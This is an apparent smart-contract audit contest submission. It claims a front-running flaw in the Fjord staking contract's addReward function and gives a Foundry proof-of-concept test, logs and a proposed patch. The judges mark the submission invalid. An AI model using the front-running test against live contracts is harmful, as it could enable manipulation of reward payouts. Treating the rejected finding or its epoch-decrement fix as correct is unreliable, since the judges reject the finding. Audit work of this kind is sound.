DeFiFoundry
20,000 USDC
View results
Submission Details
Severity: high
Invalid

Epoch Rollover Vulnerability in addReward Function

Summary

The addReward function of `FjordStaking.sol` fails to trigger the _checkEpochRollover logic correctly , allowing front-running attacks to delay reward distributions.

https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordStaking.sol#L751C5-L768C6

/// @notice addReward should be called by master chef
/// must be only call if it's can trigger update next epoch so the total staked won't increase anymore
/// must be the action to trigger update epoch and the last action of the epoch
/// @param _amount The amount of tokens to be added as rewards.
function addReward(uint256 _amount) external onlyRewardAdmin {
//CHECK
if (_amount == 0) revert InvalidAmount();
//EFFECT
@>> uint16 previousEpoch = currentEpoch;
//INTERACT
fjordToken.safeTransferFrom(msg.sender, address(this), _amount);
_checkEpochRollover();
emit RewardAdded(previousEpoch, msg.sender, _amount);
}

Vulnerability Details

The addReward function is intended to be called in a transaction that triggers an epoch rollover. However, if this transaction is front-run by another action (such as a user stake), the epoch will update prematurely. This causes the _checkEpochRollover function's conditional logic to fail because the currentEpoch has already been updated.

https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordStaking.sol#L692C9-L696C40

uint16 latestEpoch = getEpoch(block.timestamp);
if (latestEpoch > currentEpoch) {
//Time to rollover
currentEpoch = latestEpoch;
}

As currentEpoch is already updated, the rollover check fails to execute, leading to delayed reward calculations.

Impact

Stakers do not receive their rewards in the appropriate epoch

POC

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity =0.8.21;
import "../FjordStakingBase.t.sol";
import "forge-std/Test.sol";
contract Unstake_Unit_Test is FjordStakingBase {
function afterSetup() internal override {
fjordStaking.stake(10 ether);
}
function test_frontrun() public {
// Total added reward is 7 ether over 7 epochs but get frontrun
_addRewardAttack(1 ether, 7);
assertEq(fjordStaking.currentEpoch(), 8);
console2.log("fjordStaking.rewardPerToken(1) ", fjordStaking.rewardPerToken(1));
console2.log("fjordStaking.rewardPerToken(2) ", fjordStaking.rewardPerToken(2));
console2.log("fjordStaking.rewardPerToken(3) ", fjordStaking.rewardPerToken(3));
console2.log("fjordStaking.rewardPerToken(4) ", fjordStaking.rewardPerToken(4));
console2.log("");
}
function test_Correct_rewards() public {
// Total added reward is 7 ether over 7 epochs
_addRewardAndEpochRollover(1 ether, 7);
assertEq(fjordStaking.currentEpoch(), 8);
console2.log("fjordStaking.rewardPerToken(1) ", fjordStaking.rewardPerToken(1));
console2.log("fjordStaking.rewardPerToken(2) ", fjordStaking.rewardPerToken(2));
console2.log("fjordStaking.rewardPerToken(3) ", fjordStaking.rewardPerToken(3));
console2.log("fjordStaking.rewardPerToken(4) ", fjordStaking.rewardPerToken(4));
console2.log("");
}
function _addRewardAttack(uint256 reward, uint256 times) internal returns (uint16) {
for (uint256 i = 0; i < times; i++) {
vm.warp(vm.getBlockTimestamp() + fjordStaking.epochDuration());
// Bad Actor
vm.prank(alice);
fjordStaking.stake(1);
vm.prank(minter);
fjordStaking.addReward(reward);
}
return fjordStaking.currentEpoch();
}
}

Logs

[PASS] test_Correct_rewards() (gas: 338877)
Logs:
fjordStaking.rewardPerToken(1) 0
fjordStaking.rewardPerToken(2) 200000000000000000
fjordStaking.rewardPerToken(3) 300000000000000000
fjordStaking.rewardPerToken(4) 400000000000000000
[PASS] test_frontrun() (gas: 1165642)
Logs:
fjordStaking.rewardPerToken(1) 0
fjordStaking.rewardPerToken(2) 100000000000000000
fjordStaking.rewardPerToken(3) 199999999999999999
fjordStaking.rewardPerToken(4) 299999999999999998

Tools Used

Foundry

Recommendations

Force Epoch Rollover in addReward: Modify the addReward function to decrement currentEpoch before calling the _checkEpochRollover function. This ensures that the epoch rollover is always triggered, even if the function is front-run.

function addReward(uint256 _amount) external onlyRewardAdmin {
//CHECK
if (_amount == 0) revert InvalidAmount();
//EFFECT
-- uint16 previousEpoch = currentEpoch;
++ currentEpoch--;
//INTERACT
fjordToken.safeTransferFrom(msg.sender, address(this), _amount);
_checkEpochRollover();
-- emit RewardAdded(previousEpoch, msg.sender, _amount);
++ emit RewardAdded(currentEpoch, msg.sender, _amount);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Design choice

Appeal created

galturok Submitter
about 1 year ago
galturok Submitter
about 1 year ago
inallhonesty Lead Judge
about 1 year ago
galturok Submitter
about 1 year ago
inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.